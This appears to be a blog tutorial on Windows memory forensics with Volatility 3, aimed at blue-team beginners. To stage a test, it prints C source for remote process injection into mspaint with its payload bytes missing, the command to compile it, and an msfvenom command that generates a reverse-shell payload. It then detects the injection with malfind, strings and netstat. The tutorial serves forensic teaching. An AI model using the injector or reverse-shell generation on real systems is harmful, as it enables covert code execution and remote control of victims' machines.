3 minute read

Hello, cybersecurity enthusiasts and white hackers!


This is a result of my own research on memory forensics via the Volatility Framework.

memory forensics

Sometimes, after a system has been pwned, it’s important to extract forensically-relevant information. RAM is considered volatile - meaning that it doesn’t live long. Each time a computer is restarted, it flushes its memory from RAM, which means that, if a computer is hacked and then is restarted, you’ll lose a lot of information that tells the story about how the system was compromised by attacker.

volatility Framework

Volatility is a tool that can be used to analyze the volatile memory of a system. Download and install from here

practice example

First of all, for simulating malware activity, create classic process injection malware:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// meow-meow messagebox payload (without encryption)
unsigned char my_payload[] =

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  PVOID rb; // remote buffer

  // parse process ID
  printf("PID: %i", atoi(argv[1]));
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" data between processes
  WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
  return 0;


x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

injection 2

and run:

.\hack.exe 2380

injection 3

As you can see, everything is work perfectly.


Secondly, after run our malicious activity, I downloaded winpmem into victim’s Windows 7 x64 machine. So, run:

>.\winpmem_v3.3.rc3.exe --output mem.raw --format raw --volume_format raw

injection 4

After finished, move mem.raw file to my attacker’s kali machine.

analyzing Windows memory

obtaining OS

Obtaining the operating system of the memory dump is pretty easy. The plugin windows.info.Info can be specified to enumerate information about the captured memory dump:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-1/dump/mem.raw windows.info.Info

injection 5

analysing processes

Then, I used the windows.pslist.PsList plugin to look at the processes that were running on the victim’s computer at the time the memory was captured:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-1/dump/mem.raw windows.pslist.PsList

injection 6
injection 7

Looking at the list, PID 2380 is mspaint.exe, which is our victim process.

process injected code

Then for finding hidden and injected code, run:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-1/dump/mem.raw windows.malfind.Malfind

injection 8

injection 9

As you can see, we found memory section which we injected our meow-meow payload.

Then, dump the process memory with windows.memmap.Memmap plugin:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-1/dump/mem.raw --output-dir ./cybersec_blog/2022-02-07-mem-forensics-1/dump/ windows.memmap.Memmap --pid 2380 --dump

injection 10

finding strings

The strings command is a popular static malware analysis tool that can quickly assist in extracting human-readable pertaining to a malicious file:

strings -e l ./cybersec_blog/2022-02-07-mem-forensics-1/dump/pid.2380.dmp | grep -ie "meow-meow"

injection 11

injection 12

network connections

Next, I tested a scenario in which a malware or an attacker injects code into an already running process, and only then initiates a connection. Let’s go to replace our payload in malware example as msfvenom reverse shell for demo:

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f c

injection 13

injection 14

For the correctness of the experiment, we will launch our malware and make a memory dump:

injection 15

injection 16

Then run Volatility with windows.netstat.NetStat plugin. This plugin allows you to see the network connections on the machine at the time the memory was captured:

python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-1/dump/mem.raw windows.netstat.NetStat | grep -ie "mspaint.exe"

injection 17


There are still a ton of other plugins that are currently available that I did not mention in this tutorial and the memory sample I were analyzing was a Windows memory dump, because I did not work with the different plugins that target the Linux and Mac operating systems.

I hope this post will be very helpful for entry level cybersec specialists from blue team.

Classic code injection technique

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine